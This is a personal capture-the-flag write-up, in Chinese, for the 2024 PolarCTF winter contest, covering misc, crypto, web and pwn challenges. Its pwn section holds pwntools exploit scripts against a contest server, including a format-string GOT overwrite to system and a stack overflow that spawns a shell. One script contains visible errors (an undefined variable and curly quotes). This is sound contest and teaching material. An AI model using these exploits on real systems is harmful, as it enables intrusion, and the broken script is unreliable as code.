2024PolarCTF冬季賽個人WP

_ljnljn發表於2024-12-08

1.Misc

1-1 Sign-in questions

本題思路如下:
對mp3檔案進行binwalk提取獲得一個rar檔案
裡面有key.txt和公眾號二維碼
獲得flag
image

1-6 妖精紀元

本題思路如下:
解壓發現一個加密的壓縮包和一個docx檔案
嘗試對文件進行binwalk提取,獲得2BF5.rar
之後出現一個“凝固的歲月.exe”,開啟,發現圖示是很明顯的Tkinter預設圖示,可以判斷這是Python程式編譯成exe後的結果
image

隨後使用pyinstxtractor-ng.py和pycdc.exe對程式進行逆向
image

成功後開啟x.py,發現有一長串base64編碼,分析程式碼可以得知這是圖片的base64編碼。
使用線上工具base64轉圖片,得到圖片後用binwalk提取出“走入深淵的辭行.mp3”檔案。
使用audacity檢視音訊檔案,可以看出來這是摩爾斯密碼,肉眼轉成摩爾斯密碼
image
得出壓縮包密碼:YOU'VEH@D@1ONGD@Y

image

2 Crypto

2-3 冪數加密瞭解一下

本題思路如下:

ciphertext = "44420122088421088810140108442"
ciphertext = ciphertext.split('0') 
result = ""
for block in ciphertext:    
    sum = 0
    for i in   range(len(block)):  
        sum +=   int(block[i])
    result += chr(65 +   sum - 1)  
print(result)

image

3.Web

3-2 井字棋

本題思路如下:
審計程式碼後不難發現,只需要修改origboard的值強制把自己的棋子放上即可勝利,因此執行如下程式碼即可。

origBoard[3]='O';
document.getElementById('3').innerHTML   ='O';
origBoard[4]='O';
document.getElementById('4').innerHTML   ='O';
origBoard[5]='O';
document.getElementById('5').innerHTML   ='O';

其中下面程式碼是顯示O的,上面是修改結果
image

3-3 button

本題思路如下:
開啟發現是個按不到的按鈕,因此看原始碼,發現這個位置很可疑,因此嘗試進入
image

開啟頁面一片空白,發現flag在註釋裡

image

4.Pwn

1、bllbl_bind_calc

沒有附件,直接手搓指令碼
第一次成功發現打520次就能獲得flag
Exp:

from pwn import *
import time
p=remote("1.95.36.136",2144)

p.sendline("haha")
p.sendline("2")
p.sendline("22")

for i in range(510):
        p.recvuntil('看看這道題怎麼樣:')
        temp = p.recvuntil(b'=')
        temp=temp.decode().replace("="," ")
        ans = eval(temp)
        p.sendline(str(ans))
        p.sendline(' ')
        print(temp,ans,i)
        time.sleep(1)
p.interactive()

最後幾次手打答案能獲得flag(不知道為什麼總是卡住)
image

2、tangniu

本題思路如下:
格式化字串漏洞,偏移為7,用fmtstrpayload,改printf的got表為system的plt表即可
image
發現打的aaaa(0x61616161)是第七位,因此可以確定偏移為7
Exp:

from pwn import *
p=remote('1.95.36.136',2123)

elf = ELF('./tangniu')
printf_got = elf.got['printf']
system_plt = elf.plt['system']

io.sendline(b’s’)

payload = fmtstr_payload(7, {printf_got: system_plt})
p.sendline(payload)
p.interactive()

image

3、stack

本題思路如下:
IDA放進去

__int64 test1()
{
  _BYTE buf[80]; //   [rsp+0h] [rbp-50h] BYREF
 
  read(0, buf,   0x58uLL);
  return 0LL;
}
int __fastcall main(int argc, const char **argv, const char   **envp)
{
  int v4; // [rsp+Ch]   [rbp-4h] BYREF
 
  init(argc, argv,   envp);
  test1();
    puts("input1:");
    __isoc99_scanf("%d", &v4);
  if ( passwd == 4660   && v4 == 4660 )
      system("/bin/sh");
  return 0;
}

如果想要執行指令,那麼passwd和v4的值應該為4660,轉16進位制是0x1234
main函式里面的好寫入,直接str(0x1234)即可,
然後看passwd,沒有直接的賦值寫入,但是test1存在棧溢位,因此利用棧溢位來覆蓋return到passwd的地址

image

exp:

from pwn import *
p=remote('1.95.36.136',2094)
#p=process('./pwn')
payload=b'a'*0x50+p64(0x04033CC+4)
p.send(payload)
p.recvuntil(':')
p.sendline(str(0x1234))
p.interactive()

image

相關文章